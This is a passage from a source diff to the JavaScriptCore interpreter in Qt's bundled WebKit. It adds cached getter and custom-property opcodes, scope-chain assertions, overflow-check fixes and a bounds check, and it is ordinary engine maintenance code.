+   { "toLowerCase", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncToLowerCase), (intptr_t)0 },
+   { "toUpperCase", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncToUpperCase), (intptr_t)0 },
+   { "localeCompare", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncLocaleCompare), (intptr_t)1 },
+   { "toLocaleLowerCase", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncToLowerCase), (intptr_t)0 },
+   { "toLocaleUpperCase", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncToUpperCase), (intptr_t)0 },
+   { "big", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncBig), (intptr_t)0 },
+   { "small", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncSmall), (intptr_t)0 },
+   { "blink", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncBlink), (intptr_t)0 },
+   { "bold", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncBold), (intptr_t)0 },
+   { "fixed", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncFixed), (intptr_t)0 },
+   { "italics", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncItalics), (intptr_t)0 },
+   { "strike", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncStrike), (intptr_t)0 },
+   { "sub", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncSub), (intptr_t)0 },
+   { "sup", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncSup), (intptr_t)0 },
+   { "fontcolor", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncFontcolor), (intptr_t)1 },
+   { "fontsize", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncFontsize), (intptr_t)1 },
+   { "anchor", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncAnchor), (intptr_t)1 },
+   { "link", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncLink), (intptr_t)1 },
+   { "trim", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncTrim), (intptr_t)0 },
+   { "trimLeft", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncTrimLeft), (intptr_t)0 },
+   { "trimRight", DontEnum|Function, (intptr_t)static_cast<NativeFunction>(stringProtoFuncTrimRight), (intptr_t)0 },
    { 0, 0, 0, 0 }
 };
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/interpreter/CachedCall.h b/src/3rdparty/webkit/JavaScriptCore/interpreter/CachedCall.h
index e903b79..eb48a03 100644
--- a/src/3rdparty/webkit/JavaScriptCore/interpreter/CachedCall.h
+++ b/src/3rdparty/webkit/JavaScriptCore/interpreter/CachedCall.h
@@ -38,7 +38,7 @@ namespace JSC {
             : m_valid(false)
             , m_interpreter(callFrame->interpreter())
             , m_exception(exception)
-            , m_globalObjectScope(callFrame, callFrame->globalData().dynamicGlobalObject ? callFrame->globalData().dynamicGlobalObject : function->scope().globalObject())
+            , m_globalObjectScope(callFrame, function->scope().globalObject())
         {
             ASSERT(!function->isHostFunction());
             m_closure = m_interpreter->prepareForRepeatCall(function->jsExecutable(), callFrame, function, argCount, function->scope().node(), exception);
@@ -52,7 +52,14 @@ namespace JSC {
         }
         void setThis(JSValue v) { m_closure.setArgument(0, v); }
         void setArgument(int n, JSValue v) { m_closure.setArgument(n + 1, v); }
-        CallFrame* newCallFrame() { return m_closure.newCallFrame; }
+
+        CallFrame* newCallFrame(ExecState* exec)
+        {
+            CallFrame* callFrame = m_closure.newCallFrame;
+            callFrame->setScopeChain(exec->scopeChain());
+            return callFrame;
+        }
+
         ~CachedCall()
         {
             if (m_valid)
diff --git a/src/3rdparty/webkit/JavaScriptCore/interpreter/CallFrame.h b/src/3rdparty/webkit/JavaScriptCore/interpreter/CallFrame.h
index b4d49db..e3ea689 100644
--- a/src/3rdparty/webkit/JavaScriptCore/interpreter/CallFrame.h
+++ b/src/3rdparty/webkit/JavaScriptCore/interpreter/CallFrame.h
@@ -39,7 +39,11 @@ namespace JSC  {
     public:
         JSFunction* callee() const { return this[RegisterFile::Callee].function(); }
         CodeBlock* codeBlock() const { return this[RegisterFile::CodeBlock].Register::codeBlock(); }
-        ScopeChainNode* scopeChain() const { return this[RegisterFile::ScopeChain].Register::scopeChain(); }
+        ScopeChainNode* scopeChain() const
+        {
+            ASSERT(this[RegisterFile::ScopeChain].Register::scopeChain());
+            return this[RegisterFile::ScopeChain].Register::scopeChain();
+        }
         int argumentCount() const { return this[RegisterFile::ArgumentCount].i(); }
 
         JSValue thisValue();
@@ -66,6 +70,7 @@ namespace JSC  {
         // or a pointer everywhere.
         JSGlobalData& globalData() const
         {
+            ASSERT(scopeChain()->globalData);
             return *scopeChain()->globalData;
         }
 
@@ -105,9 +110,9 @@ namespace JSC  {
         Arguments* optionalCalleeArguments() const { return this[RegisterFile::OptionalCalleeArguments].arguments(); }
         Instruction* returnPC() const { return this[RegisterFile::ReturnPC].vPC(); }
 
-        void setCalleeArguments(JSValue arguments) { this[RegisterFile::OptionalCalleeArguments] = arguments; }
-        void setCallerFrame(CallFrame* callerFrame) { this[RegisterFile::CallerFrame] = callerFrame; }
-        void setScopeChain(ScopeChainNode* scopeChain) { this[RegisterFile::ScopeChain] = scopeChain; }
+        void setCalleeArguments(JSValue arguments) { static_cast<Register*>(this)[RegisterFile::OptionalCalleeArguments] = arguments; }
+        void setCallerFrame(CallFrame* callerFrame) { static_cast<Register*>(this)[RegisterFile::CallerFrame] = callerFrame; }
+        void setScopeChain(ScopeChainNode* scopeChain) { static_cast<Register*>(this)[RegisterFile::ScopeChain] = scopeChain; }
 
         ALWAYS_INLINE void init(CodeBlock* codeBlock, Instruction* vPC, ScopeChainNode* scopeChain,
             CallFrame* callerFrame, int returnValueRegister, int argc, JSFunction* function)
@@ -117,8 +122,8 @@ namespace JSC  {
             setCodeBlock(codeBlock);
             setScopeChain(scopeChain);
             setCallerFrame(callerFrame);
-            this[RegisterFile::ReturnPC] = vPC; // This is either an Instruction* or a pointer into JIT generated code stored as an Instruction*.
-            this[RegisterFile::ReturnValueRegister] = Register::withInt(returnValueRegister);
+            static_cast<Register*>(this)[RegisterFile::ReturnPC] = vPC; // This is either an Instruction* or a pointer into JIT generated code stored as an Instruction*.
+            static_cast<Register*>(this)[RegisterFile::ReturnValueRegister] = Register::withInt(returnValueRegister);
             setArgumentCount(argc); // original argument count (for the sake of the "arguments" object)
             setCallee(function);
             setCalleeArguments(JSValue());
@@ -135,9 +140,9 @@ namespace JSC  {
         CallFrame* removeHostCallFrameFlag() { return reinterpret_cast<CallFrame*>(reinterpret_cast<intptr_t>(this) & ~HostCallFrameFlag); }
 
     private:
-        void setArgumentCount(int count) { this[RegisterFile::ArgumentCount] = Register::withInt(count); }
-        void setCallee(JSFunction* callee) { this[RegisterFile::Callee] = callee; }
-        void setCodeBlock(CodeBlock* codeBlock) { this[RegisterFile::CodeBlock] = codeBlock; }
+        void setArgumentCount(int count) { static_cast<Register*>(this)[RegisterFile::ArgumentCount] = Register::withInt(count); }
+        void setCallee(JSFunction* callee) { static_cast<Register*>(this)[RegisterFile::Callee] = callee; }
+        void setCodeBlock(CodeBlock* codeBlock) { static_cast<Register*>(this)[RegisterFile::CodeBlock] = codeBlock; }
 
         static const intptr_t HostCallFrameFlag = 1;
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/interpreter/Interpreter.cpp b/src/3rdparty/webkit/JavaScriptCore/interpreter/Interpreter.cpp
index db0edc4..2713fd4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/interpreter/Interpreter.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/interpreter/Interpreter.cpp
@@ -40,6 +40,7 @@
 #include "DebuggerCallFrame.h"
 #include "EvalCodeCache.h"
 #include "ExceptionHelpers.h"
+#include "GetterSetter.h"
 #include "GlobalEvalFunction.h"
 #include "JSActivation.h"
 #include "JSArray.h"
@@ -169,7 +170,7 @@ NEVER_INLINE bool Interpreter::resolveGlobal(CallFrame* callFrame, Instruction*
     PropertySlot slot(globalObject);
     if (globalObject->getPropertySlot(callFrame, ident, slot)) {
         JSValue result = slot.getValue(callFrame, ident);
-        if (slot.isCacheable() && !globalObject->structure()->isUncacheableDictionary() && slot.slotBase() == globalObject) {
+        if (slot.isCacheableValue() && !globalObject->structure()->isUncacheableDictionary() && slot.slotBase() == globalObject) {
             if (vPC[4].u.structure)
                 vPC[4].u.structure->deref();
             globalObject->structure()->ref();
@@ -300,7 +301,7 @@ NEVER_INLINE JSValue Interpreter::callEval(CallFrame* callFrame, RegisterFile* r
     if (!program.isString())
         return program;
 
-    UString programSource = asString(program)->value();
+    UString programSource = asString(program)->value(callFrame);
 
     LiteralParser preparser(callFrame, programSource, LiteralParser::NonStrictJSON);
     if (JSValue parsedObject = preparser.tryLiteralParse())
@@ -321,7 +322,13 @@ Interpreter::Interpreter()
     : m_sampleEntryDepth(0)
     , m_reentryDepth(0)
 {
+#if HAVE(COMPUTED_GOTO)
     privateExecute(InitializeAndReturn, 0, 0, 0);
+
+    for (int i = 0; i < numOpcodeIDs; ++i)
+        m_opcodeIDTable.add(m_opcodeTable[i], static_cast<OpcodeID>(i));
+#endif // HAVE(COMPUTED_GOTO)
+
 #if ENABLE(OPCODE_SAMPLING)
     enableSampler();
 #endif
@@ -527,7 +534,8 @@ NEVER_INLINE HandlerInfo* Interpreter::throwException(CallFrame*& callFrame, JSV
 
     if (Debugger* debugger = callFrame->dynamicGlobalObject()->debugger()) {
         DebuggerCallFrame debuggerCallFrame(callFrame, exceptionValue);
-        debugger->exception(debuggerCallFrame, codeBlock->ownerExecutable()->sourceID(), codeBlock->lineNumberForBytecodeOffset(callFrame, bytecodeOffset));
+        bool hasHandler = codeBlock->handlerForBytecodeOffset(bytecodeOffset);
+        debugger->exception(debuggerCallFrame, codeBlock->ownerExecutable()->sourceID(), codeBlock->lineNumberForBytecodeOffset(callFrame, bytecodeOffset), hasHandler);
     }
 
     // If we throw in the middle of a call instruction, we need to notify
@@ -537,7 +545,7 @@ NEVER_INLINE HandlerInfo* Interpreter::throwException(CallFrame*& callFrame, JSV
 #if !ENABLE(JIT)
         if (isCallBytecode(codeBlock->instructions()[bytecodeOffset].u.opcode))
             profiler->didExecute(callFrame, callFrame->r(codeBlock->instructions()[bytecodeOffset + 2].u.operand).jsValue());
-        else if (codeBlock->instructions()[bytecodeOffset + 8].u.opcode == getOpcode(op_construct))
+        else if (codeBlock->instructions().size() > (bytecodeOffset + 8) && codeBlock->instructions()[bytecodeOffset + 8].u.opcode == getOpcode(op_construct))
             profiler->didExecute(callFrame, callFrame->r(codeBlock->instructions()[bytecodeOffset + 10].u.operand).jsValue());
 #else
         int functionRegisterIndex;
@@ -647,7 +655,7 @@ JSValue Interpreter::execute(FunctionExecutable* functionExecutable, CallFrame*
         return jsNull();
     }
 
-    DynamicGlobalObjectScope globalObjectScope(callFrame, callFrame->globalData().dynamicGlobalObject ? callFrame->globalData().dynamicGlobalObject : scopeChain->globalObject);
+    DynamicGlobalObjectScope globalObjectScope(callFrame, scopeChain->globalObject);
 
     CallFrame* newCallFrame = CallFrame::create(oldEnd);
     size_t dst = 0;
@@ -777,7 +785,7 @@ JSValue Interpreter::execute(EvalExecutable* eval, CallFrame* callFrame, JSObjec
         }
     }
 
-    DynamicGlobalObjectScope globalObjectScope(callFrame, callFrame->globalData().dynamicGlobalObject ? callFrame->globalData().dynamicGlobalObject : scopeChain->globalObject);
+    DynamicGlobalObjectScope globalObjectScope(callFrame, scopeChain->globalObject);
 
     EvalCodeBlock* codeBlock = &eval->bytecode(callFrame, scopeChain);
 
@@ -1022,8 +1030,20 @@ NEVER_INLINE void Interpreter::tryCacheGetByID(CallFrame* callFrame, CodeBlock*
     // Cache hit: Specialize instruction and ref Structures.
 
     if (slot.slotBase() == baseValue) {
-        vPC[0] = getOpcode(op_get_by_id_self);
-        vPC[5] = slot.cachedOffset();
+        switch (slot.cachedPropertyType()) {
+        case PropertySlot::Getter:
+            vPC[0] = getOpcode(op_get_by_id_getter_self);
+            vPC[5] = slot.cachedOffset();
+            break;
+        case PropertySlot::Custom:
+            vPC[0] = getOpcode(op_get_by_id_custom_self);
+            vPC[5] = slot.customGetter();
+            break;
+        default:
+            vPC[0] = getOpcode(op_get_by_id_self);
+            vPC[5] = slot.cachedOffset();
+            break;
+        }
 
         codeBlock->refStructures(vPC);
         return;
@@ -1038,33 +1058,62 @@ NEVER_INLINE void Interpreter::tryCacheGetByID(CallFrame* callFrame, CodeBlock*
         ASSERT(slot.slotBase().isObject());
 
         JSObject* baseObject = asObject(slot.slotBase());
+        size_t offset = slot.cachedOffset();
 
         // Since we're accessing a prototype in a loop, it's a good bet that it
         // should not be treated as a dictionary.
-        if (baseObject->structure()->isDictionary())
-            baseObject->setStructure(Structure::fromDictionaryTransition(baseObject->structure()));
+        if (baseObject->structure()->isDictionary()) {
+            baseObject->flattenDictionaryObject();
+            offset = baseObject->structure()->get(propertyName);
+        }
 
         ASSERT(!baseObject->structure()->isUncacheableDictionary());
-
-        vPC[0] = getOpcode(op_get_by_id_proto);
+        
+        switch (slot.cachedPropertyType()) {
+        case PropertySlot::Getter:
+            vPC[0] = getOpcode(op_get_by_id_getter_proto);
+            vPC[6] = offset;
+            break;
+        case PropertySlot::Custom:
+            vPC[0] = getOpcode(op_get_by_id_custom_proto);
+            vPC[6] = slot.customGetter();
+            break;
+        default:
+            vPC[0] = getOpcode(op_get_by_id_proto);
+            vPC[6] = offset;
+            break;
+        }
         vPC[5] = baseObject->structure();
-        vPC[6] = slot.cachedOffset();
 
         codeBlock->refStructures(vPC);
         return;
     }
 
-    size_t count = normalizePrototypeChain(callFrame, baseValue, slot.slotBase());
+    size_t offset = slot.cachedOffset();
+    size_t count = normalizePrototypeChain(callFrame, baseValue, slot.slotBase(), propertyName, offset);
     if (!count) {
         vPC[0] = getOpcode(op_get_by_id_generic);
         return;
     }
 
-    vPC[0] = getOpcode(op_get_by_id_chain);
+    
+    switch (slot.cachedPropertyType()) {
+    case PropertySlot::Getter:
+        vPC[0] = getOpcode(op_get_by_id_getter_chain);
+        vPC[7] = offset;
+        break;
+    case PropertySlot::Custom:
+        vPC[0] = getOpcode(op_get_by_id_custom_chain);
+        vPC[7] = slot.customGetter();
+        break;
+    default:
+        vPC[0] = getOpcode(op_get_by_id_chain);
+        vPC[7] = offset;
+        break;
+    }
     vPC[4] = structure;
     vPC[5] = structure->prototypeChain(callFrame);
     vPC[6] = count;
-    vPC[7] = slot.cachedOffset();
     codeBlock->refStructures(vPC);
 }
 
@@ -1081,16 +1130,13 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
 {
     // One-time initialization of our address tables. We have to put this code
     // here because our labels are only in scope inside this function.
-    if (flag == InitializeAndReturn) {
+    if (UNLIKELY(flag == InitializeAndReturn)) {
         #if HAVE(COMPUTED_GOTO)
-            #define ADD_BYTECODE(id, length) m_opcodeTable[id] = &&id;
-                FOR_EACH_OPCODE_ID(ADD_BYTECODE);
-            #undef ADD_BYTECODE
-
-            #define ADD_OPCODE_ID(id, length) m_opcodeIDTable.add(&&id, id);
-                FOR_EACH_OPCODE_ID(ADD_OPCODE_ID);
-            #undef ADD_OPCODE_ID
-            ASSERT(m_opcodeIDTable.size() == numOpcodeIDs);
+            #define LIST_OPCODE_LABEL(id, length) &&id,
+                static Opcode labels[] = { FOR_EACH_OPCODE_ID(LIST_OPCODE_LABEL) };
+                for (size_t i = 0; i < sizeof(labels) / sizeof(Opcode); ++i)
+                    m_opcodeTable[i] = labels[i];
+            #undef LIST_OPCODE_LABEL
         #endif // HAVE(COMPUTED_GOTO)
         return JSValue();
     }
@@ -1306,7 +1352,7 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         int dst = vPC[1].u.operand;
         JSValue src1 = callFrame->r(vPC[2].u.operand).jsValue();
         JSValue src2 = callFrame->r(vPC[3].u.operand).jsValue();
-        callFrame->r(dst) = jsBoolean(JSValue::strictEqual(src1, src2));
+        callFrame->r(dst) = jsBoolean(JSValue::strictEqual(callFrame, src1, src2));
 
         vPC += OPCODE_LENGTH(op_stricteq);
         NEXT_INSTRUCTION();
@@ -1321,7 +1367,7 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         int dst = vPC[1].u.operand;
         JSValue src1 = callFrame->r(vPC[2].u.operand).jsValue();
         JSValue src2 = callFrame->r(vPC[3].u.operand).jsValue();
-        callFrame->r(dst) = jsBoolean(!JSValue::strictEqual(src1, src2));
+        callFrame->r(dst) = jsBoolean(!JSValue::strictEqual(callFrame, src1, src2));
 
         vPC += OPCODE_LENGTH(op_nstricteq);
         NEXT_INSTRUCTION();
@@ -1474,7 +1520,7 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         */
         int dst = vPC[1].u.operand;
         JSValue src = callFrame->r(vPC[2].u.operand).jsValue();
-        if (src.isInt32() && src.asInt32())
+        if (src.isInt32() && (src.asInt32() & 0x7fffffff)) // non-zero and no overflow
             callFrame->r(dst) = jsNumber(callFrame, -src.asInt32());
         else {
             JSValue result = jsNumber(callFrame, -src.toNumber(callFrame));
@@ -1495,7 +1541,7 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         int dst = vPC[1].u.operand;
         JSValue src1 = callFrame->r(vPC[2].u.operand).jsValue();
         JSValue src2 = callFrame->r(vPC[3].u.operand).jsValue();
-        if (src1.isInt32() && src2.isInt32() && !(src1.asInt32() | src2.asInt32() & 0xc0000000)) // no overflow
+        if (src1.isInt32() && src2.isInt32() && !(src1.asInt32() | (src2.asInt32() & 0xc0000000))) // no overflow
             callFrame->r(dst) = jsNumber(callFrame, src1.asInt32() + src2.asInt32());
         else {
             JSValue result = jsAdd(callFrame, src1, src2);
@@ -1582,7 +1628,7 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         int dst = vPC[1].u.operand;
         JSValue src1 = callFrame->r(vPC[2].u.operand).jsValue();
         JSValue src2 = callFrame->r(vPC[3].u.operand).jsValue();
-        if (src1.isInt32() && src2.isInt32() && !(src1.asInt32() | src2.asInt32() & 0xc0000000)) // no overflow
+        if (src1.isInt32() && src2.isInt32() && !(src1.asInt32() | (src2.asInt32() & 0xc0000000))) // no overflow
             callFrame->r(dst) = jsNumber(callFrame, src1.asInt32() - src2.asInt32());
         else {
             JSValue result = jsNumber(callFrame, src1.toNumber(callFrame) - src2.toNumber(callFrame));
@@ -2153,6 +2199,93 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         uncacheGetByID(callFrame->codeBlock(), vPC);
         NEXT_INSTRUCTION();
     }
+#if HAVE(COMPUTED_GOTO)
+    goto *(&&skip_id_getter_proto);
+#endif
+    DEFINE_OPCODE(op_get_by_id_getter_proto) {
+        /* op_get_by_id_getter_proto dst(r) base(r) property(id) structure(sID) prototypeStructure(sID) offset(n) nop(n)
+         
+         Cached property access: Attempts to get a cached getter property from the
+         value base's prototype. If the cache misses, op_get_by_id_getter_proto
+         reverts to op_get_by_id.
+         */
+        int base = vPC[2].u.operand;
+        JSValue baseValue = callFrame->r(base).jsValue();
+        
+        if (LIKELY(baseValue.isCell())) {
+            JSCell* baseCell = asCell(baseValue);
+            Structure* structure = vPC[4].u.structure;
+            
+            if (LIKELY(baseCell->structure() == structure)) {
+                ASSERT(structure->prototypeForLookup(callFrame).isObject());
+                JSObject* protoObject = asObject(structure->prototypeForLookup(callFrame));
+                Structure* prototypeStructure = vPC[5].u.structure;
+                
+                if (LIKELY(protoObject->structure() == prototypeStructure)) {
+                    int dst = vPC[1].u.operand;
+                    int offset = vPC[6].u.operand;
+                    if (GetterSetter* getterSetter = asGetterSetter(protoObject->getDirectOffset(offset).asCell())) {
+                        JSObject* getter = getterSetter->getter();
+                        CallData callData;
+                        CallType callType = getter->getCallData(callData);
+                        JSValue result = call(callFrame, getter, callType, callData, asObject(baseCell), ArgList());
+                        CHECK_FOR_EXCEPTION();
+                        callFrame->r(dst) = result;
+                    } else
+                        callFrame->r(dst) = jsUndefined();
+                    vPC += OPCODE_LENGTH(op_get_by_id_getter_proto);
+                    NEXT_INSTRUCTION();
+                }
+            }
+        }
+        uncacheGetByID(callFrame->codeBlock(), vPC);
+        NEXT_INSTRUCTION();
+    }
+#if HAVE(COMPUTED_GOTO)
+    skip_id_getter_proto:
+#endif
+#if HAVE(COMPUTED_GOTO)
+    goto *(&&skip_id_custom_proto);
+#endif
+    DEFINE_OPCODE(op_get_by_id_custom_proto) {
+        /* op_get_by_id_custom_proto dst(r) base(r) property(id) structure(sID) prototypeStructure(sID) offset(n) nop(n)
+         
+         Cached property access: Attempts to use a cached named property getter
+         from the value base's prototype. If the cache misses, op_get_by_id_custom_proto
+         reverts to op_get_by_id.
+         */
+        int base = vPC[2].u.operand;
+        JSValue baseValue = callFrame->r(base).jsValue();
+        
+        if (LIKELY(baseValue.isCell())) {
+            JSCell* baseCell = asCell(baseValue);
+            Structure* structure = vPC[4].u.structure;
+            
+            if (LIKELY(baseCell->structure() == structure)) {
+                ASSERT(structure->prototypeForLookup(callFrame).isObject());
+                JSObject* protoObject = asObject(structure->prototypeForLookup(callFrame));
+                Structure* prototypeStructure = vPC[5].u.structure;
+                
+                if (LIKELY(protoObject->structure() == prototypeStructure)) {
+                    int dst = vPC[1].u.operand;
+                    int property = vPC[3].u.operand;
+                    Identifier& ident = callFrame->codeBlock()->identifier(property);
+                    
+                    PropertySlot::GetValueFunc getter = vPC[6].u.getterFunc;
+                    JSValue result = getter(callFrame, protoObject, ident);
+                    CHECK_FOR_EXCEPTION();
+                    callFrame->r(dst) = result;
+                    vPC += OPCODE_LENGTH(op_get_by_id_custom_proto);
+                    NEXT_INSTRUCTION();
+                }
+            }
+        }
+        uncacheGetByID(callFrame->codeBlock(), vPC);
+        NEXT_INSTRUCTION();
+    }
+#if HAVE(COMPUTED_GOTO)
+    skip_id_custom_proto:
+#endif
     DEFINE_OPCODE(op_get_by_id_self_list) {
         // Polymorphic self access caching currently only supported when JITting.
         ASSERT_NOT_REACHED();
@@ -2167,6 +2300,34 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         vPC += OPCODE_LENGTH(op_get_by_id_proto_list);
         NEXT_INSTRUCTION();
     }
+    DEFINE_OPCODE(op_get_by_id_getter_self_list) {
+        // Polymorphic self access caching currently only supported when JITting.
+        ASSERT_NOT_REACHED();
+        // This case of the switch must not be empty, else (op_get_by_id_self_list == op_get_by_id_chain)!
+        vPC += OPCODE_LENGTH(op_get_by_id_self_list);
+        NEXT_INSTRUCTION();
+    }
+    DEFINE_OPCODE(op_get_by_id_getter_proto_list) {
+        // Polymorphic prototype access caching currently only supported when JITting.
+        ASSERT_NOT_REACHED();
+        // This case of the switch must not be empty, else (op_get_by_id_proto_list == op_get_by_id_chain)!
+        vPC += OPCODE_LENGTH(op_get_by_id_proto_list);
+        NEXT_INSTRUCTION();
+    }
+    DEFINE_OPCODE(op_get_by_id_custom_self_list) {
+        // Polymorphic self access caching currently only supported when JITting.
+        ASSERT_NOT_REACHED();
+        // This case of the switch must not be empty, else (op_get_by_id_self_list == op_get_by_id_chain)!
+        vPC += OPCODE_LENGTH(op_get_by_id_custom_self_list);
+        NEXT_INSTRUCTION();
+    }
+    DEFINE_OPCODE(op_get_by_id_custom_proto_list) {
+        // Polymorphic prototype access caching currently only supported when JITting.
+        ASSERT_NOT_REACHED();
+        // This case of the switch must not be empty, else (op_get_by_id_proto_list == op_get_by_id_chain)!
+        vPC += OPCODE_LENGTH(op_get_by_id_proto_list);
+        NEXT_INSTRUCTION();
+    }
     DEFINE_OPCODE(op_get_by_id_chain) {
         /* op_get_by_id_chain dst(r) base(r) property(id) structure(sID) structureChain(chain) count(n) offset(n)
 
@@ -2213,6 +2374,86 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         uncacheGetByID(callFrame->codeBlock(), vPC);
         NEXT_INSTRUCTION();
     }
+#if HAVE(COMPUTED_GOTO)
+    goto *(&&skip_id_getter_self);
+#endif
+    DEFINE_OPCODE(op_get_by_id_getter_self) {
+        /* op_get_by_id_self dst(r) base(r) property(id) structure(sID) offset(n) nop(n) nop(n)
+         
+         Cached property access: Attempts to get a cached property from the
+         value base. If the cache misses, op_get_by_id_getter_self reverts to
+         op_get_by_id.
+         */
+        int base = vPC[2].u.operand;
+        JSValue baseValue = callFrame->r(base).jsValue();
+        
+        if (LIKELY(baseValue.isCell())) {
+            JSCell* baseCell = asCell(baseValue);
+            Structure* structure = vPC[4].u.structure;
+            
+            if (LIKELY(baseCell->structure() == structure)) {
+                ASSERT(baseCell->isObject());
+                JSObject* baseObject = asObject(baseCell);
+                int dst = vPC[1].u.operand;
+                int offset = vPC[5].u.operand;
+
+                if (GetterSetter* getterSetter = asGetterSetter(baseObject->getDirectOffset(offset).asCell())) {
+                    JSObject* getter = getterSetter->getter();
+                    CallData callData;
+                    CallType callType = getter->getCallData(callData);
+                    JSValue result = call(callFrame, getter, callType, callData, baseObject, ArgList());
+                    CHECK_FOR_EXCEPTION();
+                    callFrame->r(dst) = result;
+                } else
+                    callFrame->r(dst) = jsUndefined();
+
+                vPC += OPCODE_LENGTH(op_get_by_id_getter_self);
+                NEXT_INSTRUCTION();
+            }
+        }
+        uncacheGetByID(callFrame->codeBlock(), vPC);
+        NEXT_INSTRUCTION();
+    }
+#if HAVE(COMPUTED_GOTO)
+    skip_id_getter_self:
+#endif
+#if HAVE(COMPUTED_GOTO)
+    goto *(&&skip_id_custom_self);
+#endif
+    DEFINE_OPCODE(op_get_by_id_custom_self) {
+        /* op_get_by_id_custom_self dst(r) base(r) property(id) structure(sID) offset(n) nop(n) nop(n)
+         
+         Cached property access: Attempts to use a cached named property getter
+         from the value base. If the cache misses, op_get_by_id_custom_self reverts to
+         op_get_by_id.
+         */
+        int base = vPC[2].u.operand;
+        JSValue baseValue = callFrame->r(base).jsValue();
+        
+        if (LIKELY(baseValue.isCell())) {
+            JSCell* baseCell = asCell(baseValue);
+            Structure* structure = vPC[4].u.structure;
+            
+            if (LIKELY(baseCell->structure() == structure)) {
+                ASSERT(baseCell->isObject());
+                int dst = vPC[1].u.operand;
+                int property = vPC[3].u.operand;
+                Identifier& ident = callFrame->codeBlock()->identifier(property);
+
+                PropertySlot::GetValueFunc getter = vPC[5].u.getterFunc;
+                JSValue result = getter(callFrame, baseValue, ident);
+                CHECK_FOR_EXCEPTION();
+                callFrame->r(dst) = result;
+                vPC += OPCODE_LENGTH(op_get_by_id_custom_self);
+                NEXT_INSTRUCTION();
+            }
+        }
+        uncacheGetByID(callFrame->codeBlock(), vPC);
+        NEXT_INSTRUCTION();
+    }
+#if HAVE(COMPUTED_GOTO)
+skip_id_custom_self:
+#endif
     DEFINE_OPCODE(op_get_by_id_generic) {
         /* op_get_by_id_generic dst(r) base(r) property(id) nop(sID) nop(n) nop(n) nop(n)
 
@@ -2233,6 +2474,113 @@ JSValue Interpreter::privateExecute(ExecutionFlag flag, RegisterFile* registerFi
         vPC += OPCODE_LENGTH(op_get_by_id_generic);
         NEXT_INSTRUCTION();
     }
+#if HAVE(COMPUTED_GOTO)
+    goto *(&&skip_id_getter_chain);
+#endif
+    DEFINE_OPCODE(op_get_by_id_getter_chain) {
+        /* op_get_by_id_getter_chain dst(r) base(r) property(id) structure(sID) structureChain(chain) count(n) offset(n)
+         
+         Cached property access: Attempts to get a cached property from the
+         value base's prototype chain. If the cache misses, op_get_by_id_getter_chain
+         reverts to op_get_by_id.
+         */
+        int base = vPC[2].u.operand;
+        JSValue baseValue = callFrame->r(base).jsValue();
+        
+        if (LIKELY(baseValue.isCell())) {
+            JSCell* baseCell = asCell(baseValue);
+            Structure* structure = vPC[4].u.structure;
+            
+            if (LIKELY(baseCell->structure() == structure)) {
+                RefPtr<Structure>* it = vPC[5].u.structureChain->head();
+                size_t count = vPC[6].u.operand;
+                RefPtr<Structure>* end = it + count;
+                
+                while (true) {
+                    JSObject* baseObject = asObject(baseCell->structure()->prototypeForLookup(callFrame));
+                    
+                    if (UNLIKELY(baseObject->structure() != (*it).get()))
+                        break;
+                    
+                    if (++it == end) {
+                        int dst = vPC[1].u.operand;
+                        int offset = vPC[7].u.operand;
+                        if (GetterSetter* getterSetter = asGetterSetter(baseObject->getDirectOffset(offset).asCell())) {
+                            JSObject* getter = getterSetter->getter();
+                            CallData callData;
+                            CallType callType = getter->getCallData(callData);
+                            JSValue result = call(callFrame, getter, callType, callData, baseValue, ArgList());
+                            CHECK_FOR_EXCEPTION();
+                            callFrame->r(dst) = result;
+                        } else
+                            callFrame->r(dst) = jsUndefined();
+                        vPC += OPCODE_LENGTH(op_get_by_id_getter_chain);
+                        NEXT_INSTRUCTION();
+                    }
+                    
+                    // Update baseCell, so that next time around the loop we'll pick up the prototype's prototype.
+                    baseCell = baseObject;
+                }
+            }
+        }
+        uncacheGetByID(callFrame->codeBlock(), vPC);
+        NEXT_INSTRUCTION();
+    }
+#if HAVE(COMPUTED_GOTO)
+    skip_id_getter_chain:
+#endif
+#if HAVE(COMPUTED_GOTO)
+    goto *(&&skip_id_custom_chain);
+#endif
+    DEFINE_OPCODE(op_get_by_id_custom_chain) {
+        /* op_get_by_id_custom_chain dst(r) base(r) property(id) structure(sID) structureChain(chain) count(n) offset(n)
+         
